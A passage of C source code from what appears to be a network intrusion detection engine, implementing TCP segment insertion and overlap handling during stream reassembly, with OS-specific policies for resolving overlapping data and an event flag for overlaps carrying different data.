/* check for SEQ_LT cornercase where a - b is exactly 2147483648,
* which makes the marco return TRUE in both directions. This is
* a hack though, we're going to check next how we end up with
* a segment list with seq differences that big */
if (!(SEQ_LT(seg->prev->seq,seg->seq))) {
SCLogDebug("inconsistent list: SEQ_LT(seg->seq,seg->prev->seq)) == "
"TRUE, seg->seq %" PRIu32 ", seg->prev->seq %" PRIu32 "",
seg->seq, seg->prev->seq);
PrintList2(head_seg);
abort();
}
}
if (SEQ_LT(seg->seq,next_seq)) {
SCLogDebug("inconsistent list: SEQ_LT(seg->seq,next_seq)) == TRUE, "
"seg->seq %" PRIu32 ", next_seq %" PRIu32 "", seg->seq,
next_seq);
PrintList2(head_seg);
abort();
}
if (prev_seg != seg->prev) {
SCLogDebug("inconsistent list: prev_seg %p != seg->prev %p",
prev_seg, seg->prev);
PrintList2(head_seg);
abort();
}
next_seq = seg->seq + seg->payload_len;
SCLogDebug("next_seq is now %"PRIu32"", next_seq);
prev_seg = seg;
seg = seg->next;
}
}
/**
* \internal
* \brief Get the active ra_base_seq, considering stream gaps
*
* \retval seq the active ra_base_seq
*/
static inline uint32_t StreamTcpReassembleGetRaBaseSeq(TcpStream *stream)
{
if (!(stream->flags & STREAMTCP_STREAM_FLAG_GAP)) {
SCReturnUInt(stream->ra_app_base_seq);
} else {
SCReturnUInt(stream->ra_raw_base_seq);
}
}
/**
* \internal
* \brief Function to handle the insertion newly arrived segment,
* The packet is handled based on its target OS.
*
* \param stream The given TCP stream to which this new segment belongs
* \param seg Newly arrived segment
* \param p received packet
*
* \retval 0 success
* \retval -1 error -- either we hit a memory issue (OOM/memcap) or we received
* a segment before ra_base_seq.
*/
int StreamTcpReassembleInsertSegment(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpStream *stream, TcpSegment *seg, Packet *p)
{
SCEnter();
TcpSegment *list_seg = stream->seg_list;
TcpSegment *next_list_seg = NULL;
#if DEBUG
PrintList(stream->seg_list);
#endif
int ret_value = 0;
char return_seg = FALSE;
/* before our ra_app_base_seq we don't insert it in our list,
* or ra_raw_base_seq if in stream gap state */
if (SEQ_LT((TCP_GET_SEQ(p)+p->payload_len),(StreamTcpReassembleGetRaBaseSeq(stream)+1)))
{
SCLogDebug("not inserting: SEQ+payload %"PRIu32", last_ack %"PRIu32", "
"ra_(app|raw)_base_seq %"PRIu32, (TCP_GET_SEQ(p)+p->payload_len),
stream->last_ack, StreamTcpReassembleGetRaBaseSeq(stream)+1);
return_seg = TRUE;
ret_value = -1;
StreamTcpSetEvent(p, STREAM_REASSEMBLY_SEGMENT_BEFORE_BASE_SEQ);
goto end;
}
SCLogDebug("SEQ %"PRIu32", SEQ+payload %"PRIu32", last_ack %"PRIu32", "
"ra_app_base_seq %"PRIu32, TCP_GET_SEQ(p), (TCP_GET_SEQ(p)+p->payload_len),
stream->last_ack, stream->ra_app_base_seq);
if (seg == NULL) {
goto end;
}
/* fast track */
if (list_seg == NULL) {
SCLogDebug("empty list, inserting seg %p seq %" PRIu32 ", "
"len %" PRIu32 "", seg, seg->seq, seg->payload_len);
stream->seg_list = seg;
seg->prev = NULL;
stream->seg_list_tail = seg;
goto end;
}
/* insert the segment in the stream list using this fast track, if seg->seq
is equal or higher than stream->seg_list_tail.*/
if (SEQ_GEQ(seg->seq, (stream->seg_list_tail->seq +
stream->seg_list_tail->payload_len)))
{
stream->seg_list_tail->next = seg;
seg->prev = stream->seg_list_tail;
stream->seg_list_tail = seg;
goto end;
}
/* If the OS policy is not set then set the OS policy for this stream */
if (stream->os_policy == 0) {
StreamTcpSetOSPolicy(stream, p);
}
for (; list_seg != NULL; list_seg = next_list_seg) {
next_list_seg = list_seg->next;
SCLogDebug("seg %p, list_seg %p, list_prev %p list_seg->next %p, "
"segment length %" PRIu32 "", seg, list_seg, list_seg->prev,
list_seg->next, seg->payload_len);
SCLogDebug("seg->seq %"PRIu32", list_seg->seq %"PRIu32"",
seg->seq, list_seg->seq);
/* segment starts before list */
if (SEQ_LT(seg->seq, list_seg->seq)) {
/* seg is entirely before list_seg */
if (SEQ_LEQ((seg->seq + seg->payload_len), list_seg->seq)) {
SCLogDebug("before list seg: seg->seq %" PRIu32 ", list_seg->seq"
" %" PRIu32 ", list_seg->payload_len %" PRIu32 ", "
"list_seg->prev %p", seg->seq, list_seg->seq,
list_seg->payload_len, list_seg->prev);
seg->next = list_seg;
if (list_seg->prev == NULL) {
stream->seg_list = seg;
}
if (list_seg->prev != NULL) {
list_seg->prev->next = seg;
seg->prev = list_seg->prev;
}
list_seg->prev = seg;
goto end;
/* seg overlap with next seg(s) */
} else {
ret_value = HandleSegmentStartsBeforeListSegment(tv, ra_ctx, stream, list_seg, seg, p);
if (ret_value == 1) {
ret_value = 0;
return_seg = TRUE;
goto end;
} else if (ret_value == -1) {
SCLogDebug("HandleSegmentStartsBeforeListSegment failed");
ret_value = -1;
return_seg = TRUE;
goto end;
}
}
/* seg starts at same sequence number as list_seg */
} else if (SEQ_EQ(seg->seq, list_seg->seq)) {
ret_value = HandleSegmentStartsAtSameListSegment(tv, ra_ctx, stream, list_seg, seg, p);
if (ret_value == 1) {
ret_value = 0;
return_seg = TRUE;
goto end;
} else if (ret_value == -1) {
SCLogDebug("HandleSegmentStartsAtSameListSegment failed");
ret_value = -1;
return_seg = TRUE;
goto end;
}
/* seg starts at sequence number higher than list_seg */
} else if (SEQ_GT(seg->seq, list_seg->seq)) {
if (((SEQ_GEQ(seg->seq, (list_seg->seq + list_seg->payload_len))))
&& SEQ_GT((seg->seq + seg->payload_len),
(list_seg->seq + list_seg->payload_len)))
{
SCLogDebug("starts beyond list end, ends after list end: "
"seg->seq %" PRIu32 ", list_seg->seq %" PRIu32 ", "
"list_seg->payload_len %" PRIu32 " (%" PRIu32 ")",
seg->seq, list_seg->seq, list_seg->payload_len,
list_seg->seq + list_seg->payload_len);
if (list_seg->next == NULL) {
list_seg->next = seg;
seg->prev = list_seg;
stream->seg_list_tail = seg;
goto end;
}
} else {
ret_value = HandleSegmentStartsAfterListSegment(tv, ra_ctx, stream, list_seg, seg, p);
if (ret_value == 1) {
ret_value = 0;
return_seg = TRUE;
goto end;
} else if (ret_value == -1) {
SCLogDebug("HandleSegmentStartsAfterListSegment failed");
ret_value = -1;
return_seg = TRUE;
goto end;
}
}
}
}
end:
if (return_seg == TRUE && seg != NULL) {
StreamTcpSegmentReturntoPool(seg);
}
#ifdef DEBUG
PrintList(stream->seg_list);
#endif
SCReturnInt(ret_value);
}
/**
* \brief Function to handle the newly arrived segment, when newly arrived
* starts with the sequence number lower than the original segment and
* ends at different position relative to original segment.
* The packet is handled based on its target OS.
*
* \param list_seg Original Segment in the stream
* \param seg Newly arrived segment
* \param prev_seg Previous segment in the stream segment list
* \param p Packet
*
* \retval 1 success and done
* \retval 0 success, but not done yet
* \retval -1 error, will *only* happen on memory errors
*/
static int HandleSegmentStartsBeforeListSegment(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpStream *stream, TcpSegment *list_seg, TcpSegment *seg, Packet *p)
{
SCEnter();
uint16_t overlap = 0;
uint16_t packet_length = 0;
uint32_t overlap_point = 0;
char end_before = FALSE;
char end_after = FALSE;
char end_same = FALSE;
char return_after = FALSE;
uint8_t os_policy = stream->os_policy;
#ifdef DEBUG
SCLogDebug("seg->seq %" PRIu32 ", seg->payload_len %" PRIu32 "", seg->seq,
seg->payload_len);
PrintList(stream->seg_list);
#endif
if (SEQ_GT((seg->seq + seg->payload_len), list_seg->seq) &&
SEQ_LT((seg->seq + seg->payload_len),(list_seg->seq +
list_seg->payload_len)))
{
/* seg starts before list seg, ends beyond it but before list end */
end_before = TRUE;
/* [aaaa[abab]bbbb] a = seg, b = list_seg, overlap is the part [abab]
* We know seg->seq + seg->payload_len is bigger than list_seg->seq */
overlap = (seg->seq + seg->payload_len) - list_seg->seq;
overlap_point = list_seg->seq;
SCLogDebug("starts before list seg, ends before list end: seg->seq "
"%" PRIu32 ", list_seg->seq %" PRIu32 ", "
"list_seg->payload_len %" PRIu16 " overlap is %" PRIu32 ", "
"overlap point %"PRIu32"", seg->seq, list_seg->seq,
list_seg->payload_len, overlap, overlap_point);
} else if (SEQ_EQ((seg->seq + seg->payload_len), (list_seg->seq +
list_seg->payload_len)))
{
/* seg fully overlaps list_seg, starts before, at end point
* [aaa[ababab]] where a = seg, b = list_seg
* overlap is [ababab], which is list_seg->payload_len */
overlap = list_seg->payload_len;
end_same = TRUE;
overlap_point = list_seg->seq;
SCLogDebug("starts before list seg, ends at list end: list prev %p"
"seg->seq %" PRIu32 ", list_seg->seq %" PRIu32 ","
"list_seg->payload_len %" PRIu32 " overlap is %" PRIu32 "",
list_seg->prev, seg->seq, list_seg->seq,
list_seg->payload_len, overlap);
/* seg fully overlaps list_seg, starts before, ends after list endpoint */
} else if (SEQ_GT((seg->seq + seg->payload_len), (list_seg->seq +
list_seg->payload_len)))
{
/* seg fully overlaps list_seg, starts before, ends after list endpoint
* [aaa[ababab]aaa] where a = seg, b = list_seg
* overlap is [ababab] which is list_seg->payload_len */
overlap = list_seg->payload_len;
end_after = TRUE;
overlap_point = list_seg->seq;
SCLogDebug("starts before list seg, ends after list end: seg->seq "
"%" PRIu32 ", seg->payload_len %"PRIu32" list_seg->seq "
"%" PRIu32 ", list_seg->payload_len %" PRIu32 " overlap is"
" %" PRIu32 "", seg->seq, seg->payload_len,
list_seg->seq, list_seg->payload_len, overlap);
}
if (overlap > 0) {
/* handle the case where we need to fill a gap before list_seg first */
if (list_seg->prev != NULL && SEQ_LT((list_seg->prev->seq + list_seg->prev->payload_len), list_seg->seq)) {
SCLogDebug("GAP to fill before list segment, size %u", list_seg->seq - (list_seg->prev->seq + list_seg->prev->payload_len));
uint32_t new_seq = (list_seg->prev->seq + list_seg->prev->payload_len);
if (SEQ_GT(seg->seq, new_seq)) {
new_seq = seg->seq;
}
packet_length = list_seg->seq - new_seq;
if (packet_length > seg->payload_len) {
packet_length = seg->payload_len;
}
TcpSegment *new_seg = StreamTcpGetSegment(tv, ra_ctx, packet_length);
if (new_seg == NULL) {
SCLogDebug("segment_pool[%"PRIu16"] is empty", segment_pool_idx[packet_length]);
StreamTcpSetEvent(p, STREAM_REASSEMBLY_NO_SEGMENT);
SCReturnInt(-1);
}
new_seg->payload_len = packet_length;
new_seg->seq = new_seq;
SCLogDebug("new_seg->seq %"PRIu32" and new->payload_len "
"%" PRIu16"", new_seg->seq, new_seg->payload_len);
new_seg->next = list_seg;
new_seg->prev = list_seg->prev;
list_seg->prev->next = new_seg;
list_seg->prev = new_seg;
/* create a new seg, copy the list_seg data over */
StreamTcpSegmentDataCopy(new_seg, seg);
#ifdef DEBUG
PrintList(stream->seg_list);
#endif
}
/* Handling case when the segment starts before the first segment in
* the list */
if (list_seg->prev == NULL) {
if (end_after == TRUE && list_seg->next != NULL &&
SEQ_LT(list_seg->next->seq, (seg->seq + seg->payload_len)))
{
packet_length = (list_seg->seq - seg->seq) + list_seg->payload_len;
} else {
packet_length = seg->payload_len + (list_seg->payload_len - overlap);
return_after = TRUE;
}
SCLogDebug("entered here packet_length %" PRIu32 ", seg->payload_len"
" %" PRIu32 ", list->payload_len %" PRIu32 "",
packet_length, seg->payload_len, list_seg->payload_len);
TcpSegment *new_seg = StreamTcpGetSegment(tv, ra_ctx, packet_length);
if (new_seg == NULL) {
SCLogDebug("segment_pool[%"PRIu16"] is empty", segment_pool_idx[packet_length]);
StreamTcpSetEvent(p, STREAM_REASSEMBLY_NO_SEGMENT);
SCReturnInt(-1);
}
new_seg->payload_len = packet_length;
new_seg->seq = seg->seq;
new_seg->next = list_seg->next;
new_seg->prev = list_seg->prev;
StreamTcpSegmentDataCopy(new_seg, list_seg);
/* first the data before the list_seg->seq */
uint16_t replace = (uint16_t) (list_seg->seq - seg->seq);
SCLogDebug("copying %"PRIu16" bytes to new_seg", replace);
StreamTcpSegmentDataReplace(new_seg, seg, seg->seq, replace);
/* if any, data after list_seg->seq + list_seg->payload_len */
if (SEQ_GT((seg->seq + seg->payload_len), (list_seg->seq +
list_seg->payload_len)) && return_after == TRUE)
{
replace = (uint16_t)(((seg->seq + seg->payload_len) -
(list_seg->seq +
list_seg->payload_len)));
SCLogDebug("replacing %"PRIu16"", replace);
StreamTcpSegmentDataReplace(new_seg, seg, (list_seg->seq +
list_seg->payload_len), replace);
}
/* update the stream last_seg in case of removal of list_seg */
if (stream->seg_list_tail == list_seg)
stream->seg_list_tail = new_seg;
StreamTcpSegmentReturntoPool(list_seg);
list_seg = new_seg;
if (new_seg->prev != NULL) {
new_seg->prev->next = new_seg;
}
if (new_seg->next != NULL) {
new_seg->next->prev = new_seg;
}
stream->seg_list = new_seg;
SCLogDebug("list_seg now %p, stream->seg_list now %p", list_seg,
stream->seg_list);
} else if (end_before == TRUE || end_same == TRUE) {
/* Handling overlapping with more than one segment and filling gap */
if (SEQ_GT(list_seg->seq, (list_seg->prev->seq +
list_seg->prev->payload_len)))
{
SCLogDebug("list_seg->prev %p list_seg->prev->seq %"PRIu32" "
"list_seg->prev->payload_len %"PRIu16"",
list_seg->prev, list_seg->prev->seq,
list_seg->prev->payload_len);
if (SEQ_LT(list_seg->prev->seq, seg->seq)) {
packet_length = list_seg->payload_len + (list_seg->seq -
seg->seq);
} else {
packet_length = list_seg->payload_len + (list_seg->seq -
(list_seg->prev->seq + list_seg->prev->payload_len));
}
TcpSegment *new_seg = StreamTcpGetSegment(tv, ra_ctx, packet_length);
if (new_seg == NULL) {
SCLogDebug("segment_pool[%"PRIu16"] is empty", segment_pool_idx[packet_length]);
StreamTcpSetEvent(p, STREAM_REASSEMBLY_NO_SEGMENT);
SCReturnInt(-1);
}
new_seg->payload_len = packet_length;
if (SEQ_GT((list_seg->prev->seq + list_seg->prev->payload_len),
seg->seq))
{
new_seg->seq = (list_seg->prev->seq +
list_seg->prev->payload_len);
} else {
new_seg->seq = seg->seq;
}
SCLogDebug("new_seg->seq %"PRIu32" and new->payload_len "
"%" PRIu16"", new_seg->seq, new_seg->payload_len);
new_seg->next = list_seg->next;
new_seg->prev = list_seg->prev;
StreamTcpSegmentDataCopy(new_seg, list_seg);
uint16_t copy_len = (uint16_t) (list_seg->seq - seg->seq);
SCLogDebug("copy_len %" PRIu32 " (%" PRIu32 " - %" PRIu32 ")",
copy_len, list_seg->seq, seg->seq);
StreamTcpSegmentDataReplace(new_seg, seg, seg->seq, copy_len);
/*update the stream last_seg in case of removal of list_seg*/
if (stream->seg_list_tail == list_seg)
stream->seg_list_tail = new_seg;
StreamTcpSegmentReturntoPool(list_seg);
list_seg = new_seg;
if (new_seg->prev != NULL) {
new_seg->prev->next = new_seg;
}
if (new_seg->next != NULL) {
new_seg->next->prev = new_seg;
}
}
} else if (end_after == TRUE) {
if (list_seg->next != NULL) {
if (SEQ_LEQ((seg->seq + seg->payload_len), list_seg->next->seq))
{
if (SEQ_GT(seg->seq, (list_seg->prev->seq +
list_seg->prev->payload_len)))
{
packet_length = list_seg->payload_len + (list_seg->seq -
seg->seq);
} else {
packet_length = list_seg->payload_len + (list_seg->seq -
(list_seg->prev->seq +
list_seg->prev->payload_len));
}
packet_length += (seg->seq + seg->payload_len) -
(list_seg->seq + list_seg->payload_len);
TcpSegment *new_seg = StreamTcpGetSegment(tv, ra_ctx, packet_length);
if (new_seg == NULL) {
SCLogDebug("segment_pool[%"PRIu16"] is empty", segment_pool_idx[packet_length]);
StreamTcpSetEvent(p, STREAM_REASSEMBLY_NO_SEGMENT);
SCReturnInt(-1);
}
new_seg->payload_len = packet_length;
if (SEQ_GT((list_seg->prev->seq +
list_seg->prev->payload_len), seg->seq))
{
new_seg->seq = (list_seg->prev->seq +
list_seg->prev->payload_len);
} else {
new_seg->seq = seg->seq;
}
SCLogDebug("new_seg->seq %"PRIu32" and new->payload_len "
"%" PRIu16"", new_seg->seq, new_seg->payload_len);
new_seg->next = list_seg->next;
new_seg->prev = list_seg->prev;
/* create a new seg, copy the list_seg data over */
StreamTcpSegmentDataCopy(new_seg, list_seg);
/* copy the part before list_seg */
uint16_t copy_len = list_seg->seq - new_seg->seq;
StreamTcpSegmentDataReplace(new_seg, seg, new_seg->seq,
copy_len);
/* copy the part after list_seg */
copy_len = (seg->seq + seg->payload_len) -
(list_seg->seq + list_seg->payload_len);
StreamTcpSegmentDataReplace(new_seg, seg, (list_seg->seq +
list_seg->payload_len), copy_len);
if (new_seg->prev != NULL) {
new_seg->prev->next = new_seg;
}
if (new_seg->next != NULL) {
new_seg->next->prev = new_seg;
}
/*update the stream last_seg in case of removal of list_seg*/
if (stream->seg_list_tail == list_seg)
stream->seg_list_tail = new_seg;
StreamTcpSegmentReturntoPool(list_seg);
list_seg = new_seg;
return_after = TRUE;
}
/* Handle the case, when list_seg is the end of segment list, but
seg is ending after the list_seg. So we need to copy the data
from newly received segment. After copying return the newly
received seg to pool */
} else {
if (SEQ_GT(seg->seq, (list_seg->prev->seq +
list_seg->prev->payload_len)))
{
packet_length = list_seg->payload_len + (list_seg->seq -
seg->seq);
} else {
packet_length = list_seg->payload_len + (list_seg->seq -
(list_seg->prev->seq +
list_seg->prev->payload_len));
}
packet_length += (seg->seq + seg->payload_len) -
(list_seg->seq + list_seg->payload_len);
TcpSegment *new_seg = StreamTcpGetSegment(tv, ra_ctx, packet_length);
if (new_seg == NULL) {
SCLogDebug("segment_pool[%"PRIu16"] is empty",
segment_pool_idx[packet_length]);
StreamTcpSetEvent(p, STREAM_REASSEMBLY_NO_SEGMENT);
SCReturnInt(-1);
}
new_seg->payload_len = packet_length;
if (SEQ_GT((list_seg->prev->seq +
list_seg->prev->payload_len), seg->seq))
{
new_seg->seq = (list_seg->prev->seq +
list_seg->prev->payload_len);
} else {
new_seg->seq = seg->seq;
}
SCLogDebug("new_seg->seq %"PRIu32" and new->payload_len "
"%" PRIu16"", new_seg->seq, new_seg->payload_len);
new_seg->next = list_seg->next;
new_seg->prev = list_seg->prev;
/* create a new seg, copy the list_seg data over */
StreamTcpSegmentDataCopy(new_seg, list_seg);
/* copy the part before list_seg */
uint16_t copy_len = list_seg->seq - new_seg->seq;
StreamTcpSegmentDataReplace(new_seg, seg, new_seg->seq,
copy_len);
/* copy the part after list_seg */
copy_len = (seg->seq + seg->payload_len) -
(list_seg->seq + list_seg->payload_len);
StreamTcpSegmentDataReplace(new_seg, seg, (list_seg->seq +
list_seg->payload_len), copy_len);
if (new_seg->prev != NULL) {
new_seg->prev->next = new_seg;
}
/*update the stream last_seg in case of removal of list_seg*/
if (stream->seg_list_tail == list_seg)
stream->seg_list_tail = new_seg;
StreamTcpSegmentReturntoPool(list_seg);
list_seg = new_seg;
return_after = TRUE;
}
}
if (check_overlap_different_data &&
!StreamTcpSegmentDataCompare(seg, list_seg, list_seg->seq, overlap)) {
/* interesting, overlap with different data */
StreamTcpSetEvent(p, STREAM_REASSEMBLY_OVERLAP_DIFFERENT_DATA);
}
if (StreamTcpInlineMode()) {
if (StreamTcpInlineSegmentCompare(seg, list_seg) != 0) {
StreamTcpInlineSegmentReplacePacket(p, list_seg);
}
} else {
switch (os_policy) {
case OS_POLICY_SOLARIS:
case OS_POLICY_HPUX11:
if (end_after == TRUE || end_same == TRUE) {
StreamTcpSegmentDataReplace(list_seg, seg, overlap_point,
overlap);
} else {
SCLogDebug("using old data in starts before list case, "
"list_seg->seq %" PRIu32 " policy %" PRIu32 " "
"overlap %" PRIu32 "", list_seg->seq, os_policy,
overlap);
}
break;
case OS_POLICY_VISTA:
case OS_POLICY_FIRST:
SCLogDebug("using old data in starts before list case, "
"list_seg->seq %" PRIu32 " policy %" PRIu32 " "
"overlap %" PRIu32 "", list_seg->seq, os_policy,
overlap);
break;
case OS_POLICY_BSD:
case OS_POLICY_HPUX10:
case OS_POLICY_IRIX:
case OS_POLICY_WINDOWS:
case OS_POLICY_WINDOWS2K3:
case OS_POLICY_OLD_LINUX:
case OS_POLICY_LINUX:
case OS_POLICY_MACOS:
case OS_POLICY_LAST:
default:
SCLogDebug("replacing old data in starts before list seg "
"list_seg->seq %" PRIu32 " policy %" PRIu32 " "
"overlap %" PRIu32 "", list_seg->seq, os_policy,
overlap);
StreamTcpSegmentDataReplace(list_seg, seg, overlap_point,
overlap);
break;
}
}
/* To return from for loop as seg is finished with current list_seg
no need to check further (improve performance) */
if (end_before == TRUE || end_same == TRUE || return_after == TRUE) {
SCReturnInt(1);
}
}
SCReturnInt(0);
}
/**
* \brief Function to handle the newly arrived segment, when newly arrived
* starts with the same sequence number as the original segment and
* ends at different position relative to original segment.
* The packet is handled based on its target OS.
*
* \param list_seg Original Segment in the stream
* \param seg Newly arrived segment
* \param prev_seg Previous segment in the stream segment list
*
* \retval 1 success and done
* \retval 0 success, but not done yet
* \retval -1 error, will *only* happen on memory errors
*/
static int HandleSegmentStartsAtSameListSegment(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpStream *stream, TcpSegment *list_seg, TcpSegment *seg, Packet *p)
{
uint16_t overlap = 0;
uint16_t packet_length;
char end_before = FALSE;
char end_after = FALSE;
char end_same = FALSE;
char handle_beyond = FALSE;
uint8_t os_policy = stream->os_policy;
if (SEQ_LT((seg->seq + seg->payload_len), (list_seg->seq +
list_seg->payload_len)))
{
/* seg->seg == list_seg->seq and list_seg->payload_len > seg->payload_len
* [[ababab]bbbb] where a = seg, b = list_seg
* overlap is the [ababab] part, which equals seg->payload_len. */
overlap = seg->payload_len;
end_before = TRUE;
SCLogDebug("starts at list seq, ends before list end: seg->seq "
"%" PRIu32 ", list_seg->seq %" PRIu32 ", "
"list_seg->payload_len %" PRIu32 " overlap is %" PRIu32,
seg->seq, list_seg->seq, list_seg->payload_len, overlap);
} else if (SEQ_EQ((seg->seq + seg->payload_len), (list_seg->seq +
list_seg->payload_len)))
{
/* seg starts at seq, ends at seq, retransmission.
* both segments are the same, so overlap is either
* seg->payload_len or list_seg->payload_len */
/* check csum, ack, other differences? */
overlap = seg->payload_len;
end_same = TRUE;
SCLogDebug("(retransmission) starts at list seq, ends at list end: "
"seg->seq %" PRIu32 ", list_seg->seq %" PRIu32 ", "
"list_seg->payload_len %" PRIu32 " overlap is %"PRIu32"",
seg->seq, list_seg->seq, list_seg->payload_len, overlap);
} else if (SEQ_GT((seg->seq + seg->payload_len),
(list_seg->seq + list_seg->payload_len))) {
/* seg starts at seq, ends beyond seq. */
/* seg->seg == list_seg->seq and seg->payload_len > list_seg->payload_len
* [[ababab]aaaa] where a = seg, b = list_seg
* overlap is the [ababab] part, which equals list_seg->payload_len. */
overlap = list_seg->payload_len;
end_after = TRUE;
SCLogDebug("starts at list seq, ends beyond list end: seg->seq "
"%" PRIu32 ", list_seg->seq %" PRIu32 ", "
"list_seg->payload_len %" PRIu32 " overlap is %" PRIu32 "",
seg->seq, list_seg->seq, list_seg->payload_len, overlap);
}
if (overlap > 0) {
/*Handle the case when newly arrived segment ends after original
segment and original segment is the last segment in the list
or the next segment in the list starts after the end of new segment*/
if (end_after == TRUE) {
char fill_gap = FALSE;
if (list_seg->next != NULL) {
/* first see if we have space left to fill up */
if (SEQ_LT((list_seg->seq + list_seg->payload_len),
list_seg->next->seq))
{
fill_gap = TRUE;
}
/* then see if we overlap (partly) with the next seg */
if (SEQ_GT((seg->seq + seg->payload_len), list_seg->next->seq))
{
handle_beyond = TRUE;
}
/* Handle the case, when list_seg is the end of segment list, but
seg is ending after the list_seg. So we need to copy the data
from newly received segment. After copying return the newly
received seg to pool */
} else {
fill_gap = TRUE;
}
SCLogDebug("fill_gap %s, handle_beyond %s", fill_gap?"TRUE":"FALSE",
handle_beyond?"TRUE":"FALSE");
if (fill_gap == TRUE) {
/* if there is a gap after this list_seg we fill it now with a
* new seg */
SCLogDebug("filling gap: list_seg->next->seq %"PRIu32"",
list_seg->next?list_seg->next->seq:0);
if (handle_beyond == TRUE) {
packet_length = list_seg->next->seq -
(list_seg->seq + list_seg->payload_len);
} else {
packet_length = seg->payload_len - list_seg->payload_len;
}
SCLogDebug("packet_length %"PRIu16"", packet_length);
TcpSegment *new_seg = StreamTcpGetSegment(tv, ra_ctx, packet_length);
if (new_seg == NULL) {
SCLogDebug("egment_pool[%"PRIu16"] is empty", segment_pool_idx[packet_length]);
StreamTcpSetEvent(p, STREAM_REASSEMBLY_NO_SEGMENT);
return -1;
}
new_seg->payload_len = packet_length;
new_seg->seq = list_seg->seq + list_seg->payload_len;
new_seg->next = list_seg->next;
if (new_seg->next != NULL)
new_seg->next->prev = new_seg;
new_seg->prev = list_seg;
list_seg->next = new_seg;
SCLogDebug("new_seg %p, new_seg->next %p, new_seg->prev %p, "
"list_seg->next %p", new_seg, new_seg->next,
new_seg->prev, list_seg->next);
StreamTcpSegmentDataReplace(new_seg, seg, new_seg->seq,
new_seg->payload_len);
/*update the stream last_seg in case of removal of list_seg*/
if (stream->seg_list_tail == list_seg)
stream->seg_list_tail = new_seg;
}
}
if (check_overlap_different_data &&
!StreamTcpSegmentDataCompare(list_seg, seg, seg->seq, overlap)) {
/* interesting, overlap with different data */
StreamTcpSetEvent(p, STREAM_REASSEMBLY_OVERLAP_DIFFERENT_DATA);
}
if (StreamTcpInlineMode()) {
if (StreamTcpInlineSegmentCompare(list_seg, seg) != 0) {
StreamTcpInlineSegmentReplacePacket(p, list_seg);
}
} else {
switch (os_policy) {
case OS_POLICY_OLD_LINUX:
case OS_POLICY_SOLARIS:
case OS_POLICY_HPUX11:
if (end_after == TRUE || end_same == TRUE) {
StreamTcpSegmentDataReplace(list_seg, seg, seg->seq, overlap);
} else {
SCLogDebug("using old data in starts at list case, "
"list_seg->seq %" PRIu32 " policy %" PRIu32 " "
"overlap %" PRIu32 "", list_seg->seq, os_policy,
overlap);
}
break;
case OS_POLICY_LAST:
StreamTcpSegmentDataReplace(list_seg, seg, seg->seq, overlap);
break;
case OS_POLICY_LINUX:
if (end_after == TRUE) {
StreamTcpSegmentDataReplace(list_seg, seg, seg->seq, overlap);
} else {
SCLogDebug("using old data in starts at list case, "
"list_seg->seq %" PRIu32 " policy %" PRIu32 " "
"overlap %" PRIu32 "", list_seg->seq, os_policy,
overlap);
}
break;
case OS_POLICY_BSD:
case OS_POLICY_HPUX10:
case OS_POLICY_IRIX:
case OS_POLICY_WINDOWS:
case OS_POLICY_WINDOWS2K3:
case OS_POLICY_VISTA:
case OS_POLICY_MACOS:
case OS_POLICY_FIRST:
default:
SCLogDebug("using old data in starts at list case, list_seg->seq"
" %" PRIu32 " policy %" PRIu32 " overlap %" PRIu32 "",
list_seg->seq, os_policy, overlap);
break;
}
}
/* return 1 if we're done */
if (end_before == TRUE || end_same == TRUE || handle_beyond == FALSE) {
return 1;
}
}
return 0;
}
/**
* \internal
* \brief Function to handle the newly arrived segment, when newly arrived
* starts with the sequence number higher than the original segment and
* ends at different position relative to original segment.
* The packet is handled based on its target OS.
*
* \param list_seg Original Segment in the stream
* \param seg Newly arrived segment
* \param prev_seg Previous segment in the stream segment list
* \retval 1 success and done
* \retval 0 success, but not done yet
* \retval -1 error, will *only* happen on memory errors
*/
static int HandleSegmentStartsAfterListSegment(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpStream *stream, TcpSegment *list_seg, TcpSegment *seg, Packet *p)
{
SCEnter();
uint16_t overlap = 0;
uint16_t packet_length;
char end_before = FALSE;
char end_after = FALSE;
char end_same = FALSE;
char handle_beyond = FALSE;
uint8_t os_policy = stream->os_policy;
if (SEQ_LT((seg->seq + seg->payload_len), (list_seg->seq +
list_seg->payload_len)))
{
/* seg starts after list, ends before list end
* [bbbb[ababab]bbbb] where a = seg, b = list_seg
* overlap is the part [ababab] which is seg->payload_len */
overlap = seg->payload_len;
end_before = TRUE;
SCLogDebug("starts beyond list seq, ends before list end: seg->seq"
" %" PRIu32 ", list_seg->seq %" PRIu32 ", list_seg->payload_len "
"%" PRIu32 " overlap is %" PRIu32 "", seg->seq, list_seg->seq,
list_seg->payload_len, overlap);
} else if (SEQ_EQ((seg->seq + seg->payload_len),
(list_seg->seq + list_seg->payload_len))) {
/* seg starts after seq, before end, ends at seq
* [bbbb[ababab]] where a = seg, b = list_seg
* overlapping part is [ababab], thus seg->payload_len */
overlap = seg->payload_len;
end_same = TRUE;
SCLogDebug("starts beyond list seq, ends at list end: seg->seq"
" %" PRIu32 ", list_seg->seq %" PRIu32 ", list_seg->payload_len "
"%" PRIu32 " overlap is %" PRIu32 "", seg->seq, list_seg->seq,
list_seg->payload_len, overlap);
} else if (SEQ_LT(seg->seq, list_seg->seq + list_seg->payload_len) &&
SEQ_GT((seg->seq + seg->payload_len), (list_seg->seq +
list_seg->payload_len)))
{
/* seg starts after seq, before end, ends beyond seq.
*
* [bbb[ababab]aaa] where a = seg, b = list_seg.
* overlap is the [ababab] part, which can be get using:
* (list_seg->seq + list_seg->payload_len) - seg->seg */
overlap = (list_seg->seq + list_seg->payload_len) - seg->seq;
end_after = TRUE;
SCLogDebug("starts beyond list seq, ends after list seq end: "
"seg->seq %" PRIu32 ", seg->payload_len %"PRIu16" (%"PRIu32") "
"list_seg->seq %" PRIu32 ", list_seg->payload_len %" PRIu32 " "
"(%"PRIu32") overlap is %" PRIu32 "", seg->seq, seg->payload_len,
seg->seq + seg->payload_len, list_seg->seq, list_seg->payload_len,
list_seg->seq + list_seg->payload_len, overlap);
}
if (overlap > 0) {
/*Handle the case when newly arrived segment ends after original
segment and original segment is the last segment in the list*/
if (end_after == TRUE) {
char fill_gap = FALSE;
if (list_seg->next != NULL) {
/* first see if we have space left to fill up */
if (SEQ_LT((list_seg->seq + list_seg->payload_len),
list_seg->next->seq))
{
fill_gap = TRUE;
}
/* then see if we overlap (partly) with the next seg */
